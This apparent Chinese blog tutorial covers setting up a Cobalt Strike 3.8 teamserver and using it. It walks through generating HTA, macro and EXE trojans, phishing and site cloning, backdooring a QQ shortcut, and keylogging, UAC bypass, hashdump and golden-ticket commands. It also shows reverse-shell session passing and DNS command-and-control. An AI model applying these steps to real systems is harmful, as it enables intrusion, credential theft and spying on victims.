参考链接:

  1. https://www.ezreal.net/archives/166.html
    http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike作者博客
    https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之团队服务器的搭建与DNS通讯演示.html 

   cobalt strike从3.0 开始,不再依赖于Metasploit框架而是作为一个独立的平台使用。本次服务器搭建过程使用cobaltstrike3.8。3.0之前的版本,teamserver搭建过程则需要安装配置msf,这里不在赘述。

一、服务器Teamserver搭建

(1)团队服务器上:

(VPS的话要写外网ip,并且可以进行端口映射,默认使用50050端口)

  1. sudo ./teamserver 服务器IP 连接密码

但是这个终端一关闭团队服务器也就关闭了,这里我们可以把他置于后台来运行:

  1. nohup ./teamserver IP 密码 &

这样就可以了,这个目录下会生成一个nohup.out的文件

注意

1.内存使用超过%50 无法启动java虚拟机。
2.3.0之前的版本,结束Cobalt Strike的时候也要同时结束所有 msfrpcd 进程,否则下次会启动不了。

(2)使用客户端连接

  1. java -jar cobaltstrike.jar

个人在使用过程中,曾经出现过jvm内存不够的问题,导致服务器运行出错。可以添加swap虚拟内存,具体可以参考我的另外一篇博文:linux添加swap

二、Cobaltstrike的使用

1.创建Listener

Cobalt Strike首先需要创建一个Listener,用于监听会话和接受shell连接。依次点击 Cobalt Strike->Listeners ,点击Add便可以创建自己想要的Listener。

2. Attacks过程

(1)Packages

  这个选项中包含了多种攻击方式。

  1. HTML Application        生成恶意的HTA木马文件;
  2. MS Office Macro        生成office宏病毒文件;
  3. Payload Generator       生成各种语言版本的payload;
  4. USB/CD AutoPlay        生成利用自动播放运行的木马文件;
  5. Windows Dropper        捆绑器,能够对文档类进行捆绑;
  6. Windows Executable      生成可执行exe木马;
  7. Windows Executable(S)    生成无状态的可执行exe木马

举例

HTML Application 生成一个基于powershell的恶意HTA木马

  1. 选中attack–>packages–>HTML Application

选择基于powershell的HTA木马
点击Generate保存录即可生成一个HTA木马
当目标点击HTA木马后即可获得一个beacon

MS Office Macro 生成office宏病毒文件

可以参考:Office Phishing

(2)Web Drive-by(钓鱼攻击)

  1. Manage             对开启的web服务进行管理;
  2. Clone Site           克隆网站,可以记录受害者提交的数据;
  3. Host File           提供一个文件下载,可以修改Mime信息;Host File 可以配合DNS欺骗实现挂马效果使用
  4. PowerShell Web Delivery 类似于msf web_delivery ;
  5. Signed Applet Attack    使用java自签名的程序进行钓鱼攻击;
  6. Smart Applet Attack     自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
  7. System Profiler       用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
  8. Spear Phish          用来邮件钓鱼的模块

还有其他的模块其实都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同

powershell web-Drive-by制作快捷方式后门:

  1. 依次选择attack–>web-Drive-by–>powershell Drive-by
  2. URI Path:/
  3. Local Port:
  4. Listener:saya
  5. Laubch生成之后会输出一条语句这条语句在powershell运行会得到一个beacon但是一般人不会这么去运行
  6. 随便复制一个软件的快捷方式
  7. 这里以QQ快捷方式为例子目标,复制我们的powershell语句,起始位置清空,粘贴我们的语句,"应用",当目标点击快捷方式获得beacon

(3)View

  1. Applications    显示受害者机器的应用信息;
  2. Credentials     显示受害者机器的凭证信息,能更方便的进行后续渗透;
  3. Downloads      文件下载;
  4. Event Log      可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天;
  5. Keystrokes     查看键盘记录;
  6. Proxy Pivots    查看代理信息;
  7. Screenshots     查看屏幕截图;
  8. Script Console   在这里可以加载各种脚本以增强功能,脚本地址:https://github.com/rsmudge/cortana-scripts
  9. Targets       查看目标;
  10. Web Log       查看web日志。
  11. Reporting      主要就是出报告用的

(4)Beacon
  Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了

  1. 右击电脑,Interact,则可打开Beacon Console;为了能快速显示结果,可以设置
  2. beacon>sleep

1)Browserpivot
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。
使用方式

ps找到浏览器进程PID,如iexplorer.exe,为3452
注入进程:beacon> browserpivot 3452(PID) x64(架构)
注入浏览器进程成功之后,会显示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号
设置本地HTTP浏览器代理

当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:browserpivot stop

2)Socks
  直接开启socks4a代理,可以通过代理进行内网渗透测试。

开启socksbeacon>socks 9999
这里可以选择其中一台,右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
然后就可以通过proxychains 等各种工具做内网渗透了。

  msf中开启隧道使用(在连接数据库的情况下,msf会与本地数据库断开)

  1. msf>setg Proxies socks:192.168.1.103.

关闭socks:beacon>socks stop

3)Screenshot

这里的screenshot可以截取受害者一定时间的屏幕截图,操作命令为:

  1. beacon>screenshot [pid] <x86|x64> [run time in seconds]

或者: beacon>screenshot
然后打开View->Screenshots,则可以看到屏幕截图

4)Keylogger键盘记录器

  1. keylogger [pid] <x86|x64>

然后打开View->Keystrokes,则可以看到键盘记录结果

如果不想使用命令行,可以直接选择受害者计算机(可多选)

5)powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,比如nishang的powerpreter,直接执行:

  1. beacon> powershell-import

然后在文件浏览器里面选择 Powerpreter.psm1

或者直接执行:

  1. powershell-import [/path/to/local/script.ps1]

进行导入,之后就可以使用powerpreter的各种模块了。

要执行某模块直接使用如下命令,比如:beacon> powershell Check-VM

6)kerberos

这里一共有三个模块,分别是:

  1. kerberos_ccache_use      ccache文件中导入票据
  2. kerberos_ticket_purge    清除当前会话的票据
  3. kerberos_ticket_use     从ticket文件中导入票据

使用mimikatz:

  1. kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE

乌云关于kerberos也有相关文章
http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz
http://drops.wooyun.org/tips/9591 域渗透的金之钥匙

7)BypassUAC
直接执行:

  1. beacon> bypassuac

下面你就可以执行那些需要最高权限的操作了。

这一块在测试Win10的时候并没有成功,关于Win10的bypassuac可以参考这篇文章

使用一个作者修改的powershell脚本invoke-BypassUAC.ps1

  1. 生成一个beacon后门:
  2. Windows Executable
  3. Listener:reverse_http
  4. Output Windows EXE
  5.  
  6. 上传后门:
  7. beacon> cd E:
  8. beacon> upload /Users/evi1cg/Desktop/test.exe
  9. 加载powershell执行后门:
  10.  
  11. beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
  12. beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'
  13.  
  14. 使用那个破了的电脑的beacon读取密码:
  15. beacon> sleep
  16. beacon> wdigest
  17. beacon> hashdump

三、高级用法

1、cobalt strike派生shell给metasploit

首先我们使用msf的reverse_tcp开启监听模式:

  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set lhost 192.168.1.100
  5. lhost => 192.168.1.100
  6. msf exploit(handler) > set lport
  7. lport =>
  8. msf exploit(handler) > exploit

之后使用Cobalt Strike创建一个

  1. windows/foreign/reverse_tcp Listener

其中ip为msf的ip地址,端口为msf所监听的端口。
然后选中计算机,右键->Spawn,选择刚刚创建的监听器:
msf中即可看到成功获取了meterpreter会话

2、Metasploit派生shell给cobaltstrike

你前提需要有一个meterpreter会话 ,然后我们使用这个模块

  1. exploit/windows/local/payload_inject

功能是注入一个新的payload 到当前的session里面

我们先在cobaltstrike上创建一个监听器,等会用于接收msf派生的shell,这里我使用

  1. windows/beacon_http/reverse_http

然后在msf中

  1. use exploit/windows/local/payload_inject
  2. msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
  3. msf exploit(payload_inject) > set DisablePayloadHandler true
  4. DisablePayloadHandler => true
  5. msf exploit(payload_inject) > set LHOST 192.168.81.135
  6. LHOST => 192.168.81.135
  7. msf exploit(payload_inject) > set LPORT
  8. LPORT =>
  9. msf exploit(payload_inject) > set SESSION
  10. SESSION =>
  11. msf exploit(payload_inject) > exploit
  12. [*] Running module against WIN-I6HQQE1E7AG
  13. [*] Launching notepad.exe...
  14. [*] Preparing 'windows/meterpreter/reverse_http' for PID
  15. msf exploit(payload_inject) >

解释下:
cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,
所以我们msf的payload要使用:windows/meterpreter/reverse_http

设置msf本地监听ip和端口为cobaltstrike机器的ip和端口

默认情况下,payload_inject执行之后会在本地产生一个新的handler,
由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置
set DisablePayloadHandler true

如果出现错误,PID does not actually exist,可以设置一下注入进程的pid。set pid 进程号

3、通过DNS控制目标

  Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。通过DNS来控制目标和渗透好处是不开端口,能绕过大部分防火墙,隐蔽性好等等。详细文章可参考这篇博文

1. 域名设置  

 (1)首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的

 (2)然后再创建2个或3个ns记录指向刚才创建的A记录。这样我们就可以通过dns找到我们的metasploit服务器了。

2. Cobalt Strike设置

在Cobalt Strike中我们添加一个listener

  1. Edit Listener
  2. Payload windows/beacon_dns/reverse_http
  3. host
  4. port

  HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录。接下来创建一个木马测试下。

3. 木马生成

在attack->packages中找到windows木马生成

  1. Windows Executable
  2. Listener: beacon(DNS)
  3. Output: Windows EXE

Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。

(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)

把生成的DNS.EXE放到虚拟机中运行。

回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们

右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面

4.设置传输模式

  传输有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多。命令

  1. beacon> mode dns-txt(这里可以用TAB补齐命令的)

这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令的返回结果比较慢,在过防火墙方面还是不错的。

拓展

强化你的Cobalt strike之Cortana

cobaltstrike3.8服务器搭建及使用的更多相关文章

  1. Cobalt Strike 服务器搭建及使用

    Cobalt Strike使用中的一些坑(一) http://www.cnblogs.com/miaodaren/articles/7829793.html cobaltstrike3.8服务器搭建及 ...

  2. Git本地服务器搭建及使用详解

    Git本地服务器搭建及使用 Git是一款免费.开源的分布式版本控制系统.众所周知的Github便是基于Git的开源代码库以及版本控制系统,由于其远程托管服务仅对开源免费,所以搭建本地Git服务器也是个 ...

  3. ​Linux下的SVN服务器搭建

    ​Linux下的SVN服务器搭建 鉴于在搭建时,参考网上很多资料,网上资料在有用的同时,也坑了很多人 本文的目的,也就是想让后继之人在搭建svn服务器时不再犯错,不再被网上漫天的坑爹作品所坑害,故此总 ...

  4. 版本控制-svn服务器搭建和常用命令(centos 6.3)

    Svn是比较优秀的版本控制工具,虽然功能和性能上无法和Git媲美,但由于其容易搭建和使用的特性,所以在各个小公司还是很受欢迎的.使用Git可参考<版本控制-Git服务器搭建和常用命令使用> ...

  5. 版本控制-Git服务器搭建和常用命令使用

    Git是目前世界上最先进的分布式版本控制系统(没有之一).使用Svn的请参考<版本控制-svn服务器搭建和常用命令(centos 6.3)>,下面介绍Git的常用命令 常用命令 简单版 升 ...

  6. JAVA服务器搭建之问题总结

    负责维护公司产品的web服务器搭建与维护,最近遇到一下状况,今天在这里简单总结一下,希望对于刚刚一些刚入行的小伙伴有所帮助,避免再走弯路. 第一点:Tomcat内存设置: 一.常见的Java内存溢出有 ...

  7. 烂泥:Postfix邮件服务器搭建之虚拟用户配置

    virtual_gid_maps = static: virtual_transport = dovecot dovecot_destination_recipient_limit = 1 注意:po ...

  8. Centos vsftpd服务器搭建

    Centos vsftpd服务器搭建 时间:2016-07-18 1.最为简单的vsftpd服务器搭建 1.安装vsftpd 1.yum 安装 yum install vsftpd 2.rpm文件安装 ...

  9. Linux下的SVN服务器搭建

    鉴于在搭建时,参考网上很多资料,网上资料在有用的同时,也坑了很多人 本文的目的,也就是想让后继之人在搭建svn服务器时不再犯错,不再被网上漫天的坑爹作品所坑害,故此总结 /******开始****** ...

随机推荐

  1. 如何优化Mysql千万级快速分页,limit优化快速分页,MySQL处理千万级数据查询的优化方案

    如何优化Mysql千万级快速分页,limit优化快速分页,MySQL处理千万级数据查询的优化方案

  2. 技术人员在小公司成长 vs 大公司成长路径和建议

    我们经常听到这样的对话: 大公司猿A:真不想干了,每天都做类似的工作,学不到什么东西,会议也多,浪费不少时间,想去小公司多做些事情,多学些东西. 小公司猿B:累死了,什么都做,太乱太杂,没系统不规范, ...

  3. m2eclipse(maven插件)报错解决

    在eclipse中安装了m2eclipse(maven插件) 的问题结解决 在安装后,出现下列警告: The Maven Integration requires that Eclipse be ru ...

  4. Java 在 CMD 环境下编译

    1. 未引用第三方 Jar 包类(该 Java 类默认无包名) # 定位到类存放地址 cd E:\tsgg # 编译命令 javac Test.java # 执行命令 java Test 2. 引用第 ...

  5. Java设计模式学习记录-享元模式

    前言 享元模式也是一种结构型模式,这篇是介绍结构型模式的最后一篇了(因为代理模式很早之前就已经写过了).享元模式采用一个共享来避免大量拥有相同内容对象的开销.这种开销最常见.最直观的就是内存损耗. 享 ...

  6. Jenkins持续集成学习-Windows环境进行.Net开发3

    目录 Jenkins持续集成学习-Windows环境进行.Net开发3 目录 前言 目标 优化nuget包生成流程 自动触发构建 Jenkins定时轮询触发 SVN客户端钩子触发 SVN服务器钩子触发 ...

  7. 动态规划法(五)钢条切割问题(rod cutting problem)

      继续讲故事~~   我们的主人公现在已经告别了生于斯,长于斯的故乡,来到了全国最大的城市S市.这座S市,位于国家的东南部,是全国的经济中心,工商业极为发达,是这个国家的人民所向往的城市.这个到处都 ...

  8. JavaScript之八皇后问题(递归)

      八皇后问题,是一个古老而著名的问题,该问题最早由国际西洋棋棋手马克斯·贝瑟尔(Max Bezzel)于1848年提出.八皇后问题的具体描述为:在\(8\times8\)的国际象棋上摆放8个皇后,使 ...

  9. ASP .NET MVC HtmlHelper扩展——简化“列表控件”的绑定

    在众多表单元素中,有一类<select>元素用于绑定一组预定义列表.传统的ASP.NET Web Form中,它对应着一组重要的控件类型,即ListControl,我们经常用到DropDo ...

  10. Hive案例05-学生成绩表综合案例

    1. 数据说明 (1) student表 hive> select * from student; # 学生ID 学生姓名 性别 年龄 所在系 # sid sname sex age dept ...